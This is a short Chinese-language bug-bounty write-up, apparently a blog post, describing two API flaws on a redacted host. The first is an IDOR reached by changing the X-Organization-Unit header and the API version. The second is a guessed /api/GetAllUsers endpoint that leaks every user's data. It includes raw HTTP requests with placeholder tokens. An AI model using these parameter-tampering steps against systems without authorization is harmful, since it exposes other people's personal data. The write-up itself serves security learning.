API漏洞挖掘

jiangmingzi

迪哥讲事 2023-10-07 15:21 发表于江苏

API漏洞挖掘2个例子

正文
第一个漏洞:

在浏览bp历史记录以查看各种请求时，发现一个与组织中用户相关的一些信息

1. GET /auth/api/v2/users HTTP/2
   
2. Host: api.redacted.com
   
3. User-Agent:
   
4. Accept: application/json, text/plain, */*
   
5. Accept-Language: en-US,en;q=0.5
   
6. Accept-Encoding: gzip, deflate
   
7. X-Requested-With: XMLHttpRequest
   
8. X-Csrf-Token: [CSRF_TOKEN]
   
9. Authorization: Bearer [JWT_TOKEN]
   
10. X-Organization-Unit: [ORGANIZATION_ID]
    
11. Sec-Fetch-Dest: empty
    
12. Sec-Fetch-Mode: cors
    
13. Sec-Fetch-Site: same-site
    
14. Te: trailers

复制代码

将X-Organization-Unit Header改为另一个Organization id

发现这是一个IDOR问题

后面又将v2改成了v1,发现也出问题了

第二个问题:

1. POST /api/GetUsersById HTTP/2
   
2. Host: api.redacted.com
   
3. Cookie:  
   
4. User-Agent:
   
5. Accept: application/json, text/javascript, */*; q=0.01
   
6. Accept-Language: en-US,en;q=0.5
   
7. Accept-Encoding: gzip, deflate
   
8. Content-Type: application/json; charset=utf-8
   
9. X-Csrf-Token:
   
10. X-Requested-With: XMLHttpRequest
    
11. Content-Length:
    
12. Sec-Fetch-Dest: empty
    
13. Sec-Fetch-Mode: cors
    
14. Sec-Fetch-Site: same-origin
    
15. Te: trailers
    
16. 
    
17. {Some JSON Post Data To Specify IDs for users}

复制代码

这里存粹猜测出另外一个接口:/api/GetAllUsers,惊讶的发现获取到所有用户的信息了！

总结
善于尝试自己主动改变请求中的各个参数，如果响应中有什么报错，那么此时就有可能有漏洞在等着你!